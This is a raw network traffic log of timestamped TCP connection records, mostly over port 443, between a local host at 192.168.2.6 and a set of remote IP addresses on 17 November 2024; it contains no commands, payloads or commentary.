Nov 17, 2024 10:07:37.809565067 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.810430050 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.810442924 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.810456038 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.810461044 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.815195084 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.815283060 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.815536976 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.816165924 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.816200972 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.910168886 CET	443	49907	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.910234928 CET	49907	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.913543940 CET	443	49908	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.913681030 CET	49908	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.954121113 CET	443	49910	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.954243898 CET	443	49910	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.954245090 CET	49910	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.954288960 CET	49910	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.956512928 CET	443	49909	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.956569910 CET	49909	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.050040007 CET	49918	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.050084114 CET	443	49918	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.050165892 CET	49918	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.050935984 CET	49919	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.051026106 CET	443	49919	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.051101923 CET	49919	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.051597118 CET	49918	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.051619053 CET	443	49918	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.051779985 CET	49919	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.051815987 CET	443	49919	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.096033096 CET	49920	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.096065044 CET	443	49920	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.096354008 CET	49920	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.096616983 CET	49921	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.096658945 CET	443	49921	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.096709013 CET	49921	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.097019911 CET	49922	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.097031116 CET	443	49922	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.097079039 CET	49922	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.097259998 CET	49923	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.097274065 CET	443	49923	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.097332954 CET	49923	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.097635031 CET	49920	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.097651005 CET	443	49920	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.098597050 CET	49921	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.098617077 CET	443	49921	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.098727942 CET	49922	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.098737001 CET	443	49922	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.099086046 CET	49923	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.099098921 CET	443	49923	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.208185911 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.210815907 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.210854053 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.211249113 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.211255074 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.266719103 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.267250061 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.267291069 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.267807007 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.267822027 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.339864969 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.339900017 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.339951038 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.340003967 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.340172052 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.340188026 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.340204000 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.340210915 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.343100071 CET	49924	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.343146086 CET	443	49924	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.343221903 CET	49924	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.343420029 CET	49924	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.343436003 CET	443	49924	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.343849897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:38.343913078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:38.365945101 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:38.365976095 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:38.366074085 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:38.366271019 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:38.366358042 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:38.366436005 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:38.366543055 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:38.366559029 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:38.366683960 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:38.366720915 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:38.379657984 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:38.379678965 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:38.380170107 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:38.380413055 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:38.380425930 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:38.397624969 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.397697926 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.397778988 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.414278030 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.414311886 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.414340019 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.414356947 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.424279928 CET	49928	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.424367905 CET	443	49928	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.424449921 CET	49928	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.429080009 CET	49928	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.429162025 CET	443	49928	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.447660923 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.448153973 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.448219061 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.448544025 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.448549986 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.496840954 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.503143072 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.503150940 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.503757954 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.503762007 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.547446966 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.550704956 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.550741911 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.551630020 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.551640987 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.576380968 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.576443911 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.576548100 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.576607943 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.578392982 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.578392982 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.578407049 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.578417063 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.592421055 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.592442989 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.592530966 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.593218088 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.593231916 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.633263111 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.633326054 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.633418083 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.633790970 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.633800030 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.633843899 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.633851051 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.637144089 CET	49930	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.637183905 CET	443	49930	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.637273073 CET	49930	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.637396097 CET	49930	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.637411118 CET	443	49930	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.656413078 CET	443	49918	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.656677008 CET	49918	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.656688929 CET	443	49918	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.657011032 CET	443	49918	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.658245087 CET	49918	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.658314943 CET	443	49918	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.660129070 CET	443	49919	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.660351992 CET	49919	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.660371065 CET	443	49919	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.663933992 CET	443	49919	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.664014101 CET	49919	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.664324999 CET	49919	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.664495945 CET	443	49919	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.678255081 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.678330898 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.678450108 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.678514004 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.678734064 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.678745031 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.678755999 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.678760052 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.681263924 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.681303024 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.681457996 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.681632996 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:38.681658983 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:38.706206083 CET	443	49923	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.706448078 CET	49923	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.706470966 CET	443	49923	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.710057974 CET	443	49923	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.710129976 CET	49923	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.711205006 CET	49923	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.711456060 CET	443	49923	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.711888075 CET	443	49922	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.712080956 CET	49922	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.712093115 CET	443	49922	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.713517904 CET	443	49922	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.713579893 CET	49922	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.713843107 CET	49922	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.713932991 CET	443	49922	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.715600014 CET	443	49920	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.715868950 CET	49920	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.715876102 CET	443	49920	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.716662884 CET	443	49921	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.717086077 CET	49921	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.717104912 CET	443	49921	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.718744993 CET	443	49921	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.718810081 CET	49921	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.719110966 CET	49921	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.719201088 CET	443	49921	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.719516993 CET	443	49920	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.719584942 CET	49920	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.719944954 CET	49920	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.720125914 CET	443	49920	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.798480034 CET	49922	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.798480034 CET	49920	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.798490047 CET	443	49922	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.798501015 CET	443	49920	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.798531055 CET	49919	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.798594952 CET	443	49919	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.863356113 CET	443	49918	23.221.22.207	192.168.2.6
Nov 17, 2024 10:07:38.863436937 CET	49918	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.876411915 CET	49923	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.876452923 CET	443	49923	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.876490116 CET	49921	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.876497030 CET	443	49921	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:38.948863983 CET	49922	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.948863983 CET	49920	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:38.948932886 CET	49919	443	192.168.2.6	23.221.22.207
Nov 17, 2024 10:07:38.984610081 CET	49932	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:38.984651089 CET	443	49932	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:38.985402107 CET	49933	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:38.985438108 CET	443	49933	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:38.985533953 CET	49932	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:38.985637903 CET	49933	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:38.985691071 CET	49932	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:38.985699892 CET	443	49932	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:38.985996008 CET	49933	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:38.986013889 CET	443	49933	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:38.990978956 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:38.994193077 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:38.994221926 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:38.995368958 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:38.995448112 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:38.997862101 CET	49934	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:38.997875929 CET	443	49934	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:38.998101950 CET	49934	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:38.999726057 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:38.999802113 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:39.004188061 CET	49934	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:39.004200935 CET	443	49934	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:39.009907961 CET	49935	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:39.009933949 CET	443	49935	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:39.009990931 CET	49935	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:39.027019978 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:39.027040958 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:39.027733088 CET	49935	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:39.027754068 CET	443	49935	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:39.073486090 CET	443	49924	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.083264112 CET	49923	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:39.083264112 CET	49921	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:39.090049982 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:39.099493027 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.111166954 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.116105080 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.116122007 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.116795063 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.116805077 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.117367983 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.117429018 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.118841887 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.118913889 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.119201899 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.119213104 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.120378971 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.120465040 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.121377945 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.121443033 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.121448040 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.121548891 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.157526016 CET	443	49928	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.157967091 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:39.159045935 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:39.159056902 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:39.159121037 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:39.159168005 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:39.159188986 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:39.159240961 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:39.159260035 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:39.159293890 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:39.177483082 CET	49924	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.177498102 CET	443	49924	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.178220987 CET	49924	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.178225994 CET	443	49924	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.178740978 CET	49928	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.178803921 CET	443	49928	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.179126024 CET	49928	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.179138899 CET	443	49928	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.180571079 CET	49927	443	192.168.2.6	23.218.232.182
Nov 17, 2024 10:07:39.180587053 CET	443	49927	23.218.232.182	192.168.2.6
Nov 17, 2024 10:07:39.190561056 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.190574884 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.238662004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.243618965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.286777973 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.297147036 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.497093916 CET	443	49928	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.497109890 CET	443	49924	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.497139931 CET	443	49928	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.497236967 CET	443	49928	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.497278929 CET	443	49924	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.497320890 CET	49928	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.497320890 CET	49928	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.497437954 CET	49924	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.497751951 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.497775078 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.497781992 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.497807980 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.497821093 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.497823954 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.497829914 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.497850895 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.497864962 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.497864962 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.497893095 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.498197079 CET	49928	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.498245955 CET	443	49928	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.498281002 CET	49928	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.498296976 CET	443	49928	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.498348951 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498415947 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498440027 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498462915 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498476982 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.498486996 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498502016 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498522043 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498539925 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498698950 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.498698950 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.498698950 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.498709917 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498867989 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498876095 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498900890 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498910904 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498925924 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.498934031 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.498953104 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.498971939 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.499381065 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.499403000 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.499453068 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.499458075 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.499471903 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.499473095 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.499492884 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.499515057 CET	443	49925	13.107.246.57	192.168.2.6
